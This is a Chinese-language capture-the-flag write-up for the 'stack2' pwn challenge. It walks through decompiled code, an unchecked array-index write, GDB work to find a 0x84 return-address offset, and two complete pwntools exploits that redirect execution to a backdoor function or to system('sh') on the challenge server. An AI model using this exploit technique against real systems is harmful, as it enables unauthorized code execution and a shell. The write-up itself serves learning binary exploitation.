攻防世界高手进阶区——stack2

在这里插入图片描述

看题目啥都没有

一,分析文件

  1. checksec
    在这里插入图片描述

    发现居然存在栈溢出保护,这是以前做题没看到过的,可能会有新的知识点。

  2. 运行文件
    在这里插入图片描述

    貌似是一个输入数字计算平均值的程序。

  3. ida打开

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
      unsigned int m; // [esp+34h] [ebp-74h]
    char v13[100]; // [esp+38h] [ebp-70h]
    unsigned int v14; // [esp+9Ch] [ebp-Ch]

    v14 = __readgsdword(0x14u);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    v9 = 0;
    puts("***********************************************************");
    puts("* An easy calc *");
    puts("*Give me your numbers and I will return to you an average *");
    puts("*(0 <= x < 256) *");
    puts("***********************************************************");
    puts("How many numbers you have:"); // 有几个数字
    scanf("%d", &v5);
    puts("Give me your numbers"); // 输入一个数字
    for ( i = 0; i < v5 && (int)i <= 99; ++i )
    {
    scanf("%d", &v7);
    v13[i] = v7;
    }
    for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
    {
    while ( 1 )
    {
    while ( 1 )
    {
    while ( 1 )
    {
    puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");// 选择
    scanf("%d", &v6); // 输入选择
    if ( v6 != 2 )
    break;
    puts("Give me your number"); // 加数字
    scanf("%d", &v7);
    if ( j <= 99 )
    {
    v3 = j++;
    v13[v3] = v7;
    }
    }
    if ( v6 > 2 )
    break;
    if ( v6 != 1 )
    return 0;
    puts("id\t\tnumber");
    for ( k = 0; k < j; ++k )
    printf("%d\t\t%d\n", k, v13[k]);
    }
    if ( v6 != 3 )
    break;
    puts("which number to change:"); // 修改数字,存在漏洞!!!没有检查索引值的值,没有检查数组边界,可以输入返回地址的相对于数组首地址的偏移
    scanf("%d", &v5);
    puts("new number:"); // 返回地址修改为system函数地址,和bash地址
    scanf("%d", &v7);
    v13[v5] = v7;
    }
    if ( v6 != 4 )
    break;
    v9 = 0;
    for ( m = 0; m < j; ++m )
    v9 += v13[m];
    }
    return 0;
    }

    这里分析了一下文件,刚开始啥都没看出来,后来是看了网上的其他大佬的wp才知道这个漏洞(未检查数组边界,造成任意地址修改,这就是绕过栈溢出保护的方法吗?)

二,解题思路

在这里插入图片描述

  • 解题的关键就是这里,这里未检查数组的索引值,可以让我们修改任意地址的内容。我们可以直接修改函数返回地址的内容。

  • 现在就只需要找到相对于该数组函数返回地址的偏移就可以了。

    这里我觉得是最难的一步,看了好几个wp才明白了这是怎么回事。

  • 这里按照以往的惯例去ida直接找返回地址相对于数组的偏移算出来是有问题的。

在这里插入图片描述

在这里插入图片描述

这里面我算出来的偏移量为0x74,但是根据其他大佬通过动态调试算出来的偏移,这里的偏移应该是0x84。

这是怎么回事呢?

0x84要经过自己去动态调试

过程如下:

  • 分析汇编代码

在这里插入图片描述

这段汇编代码其实就是对应下面这段C语言代码

在这里插入图片描述

这里也可以进一步看出来汇编的复杂。

分析一下汇编代码,这里面通过scanf将获取的值放入栈区,再将该数放入eax寄存器中,再将eax的值放入ecx寄存器,再取一个栈区的地址给edx,将一个值给eax(分析上面的汇编可以知道,这里放入eax的值就是数组的索引值),再将地址加给eax寄存器,最后将cl(ecx寄存器的低八位)的值赋给eax指向的地址。

通过这里的分析可以知道这时候eax里面存的地址便是数组起始地址。

在这里插入图片描述

通过这里的main endp可以知道这是main函数的结束地方,就可以得出,这里的retn时esp指向的地址便是返回地址。
在这里插入图片描述

在main函数和输入数组和返回retn指令的地方下断点。

在这里插入图片描述

输入全填一

在这里插入图片描述

run一下,指令执行前这里是0xd0,

在这里插入图片描述

指令执行后,这里是0x1,所以这里的oxffffd378就是数组起始地址,这里的0xf7ffd901什么都不代表,只是刚好数组起始地址里面存的是这个地址罢了。我就是在这里疑惑了半天,都是因为gdb不太熟练呀。菜鸡一枚。

在这里插入图片描述

运行到ret,esp里面存的就是返回地址。

所以偏移量是0xffffd3fc - oxffffd378 = 0x84

至于这里面为什么不是ida得到的数,是因为最后leave 和lea指令调整了栈帧,将栈底恢复到了之前的位置。栈底就变化了,偏移量自然就变化了

偏移量在这里就能得到了。

  • 而且程序中存在后门函数hackhere

在这里插入图片描述

通过后门函数可以直接获得shell。

三,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

process_name = './stack2'
p = process('./stack2')


hackhere = [0x9b, 0x85, 0x04, 0x08] #0x0804859B
write_offset = 0x84

def change_number(offset, value):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(offset))
p.sendlineafter('new number:', str(value))

p.sendlineafter('How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')
for i in range(4):
change_number(write_offset+i, hackhere[i])

p.sendlineafter('5. exit', '5')


p.interactive()

拿着这个exp去本地运行,发现能够运行成功,但是运行在服务器就出现了问题。

在这里插入图片描述

报错,发现服务器没有bash终端,只有sh。(后来才知道原来这里本来是出题人的失误,发现也能做出来就没有改。)

  • 于是我们得改变思路,发现程序有system函数,也可以找到sh字符串。
  • 就可以通过sh和system来构造exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

process_name = './stack2'
p = process('./stack2')
p = remote('111.200.241.244',60740)


hackhere = [0x9b, 0x85, 0x04, 0x08] #0x0804859B
write_offset = 0x84
system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x99, 0x04, 0x08] # 0x08048987

def change_number(offset, value):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(offset))
p.sendlineafter('new number:', str(value))

p.sendlineafter('How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')
for i in range(4):
change_number(write_offset+i, system_addr[i])

write_offset += 8
for i in range(4):
change_number(write_offset+i, sh_addr[i])


p.sendlineafter('5. exit', '5')


p.interactive()

这样就可以通过服务器了。

四,收获

  • 学会了一个新的漏洞(绕过栈溢出保护)。
  • 对python的编程了解了更多。
  • 学会了gdb的使用。
  • 学会了基础汇编语言。

总的来说,这次做题收获还是很大的。虽然难了我好几天。但是收获慢慢就不亏。哈哈哈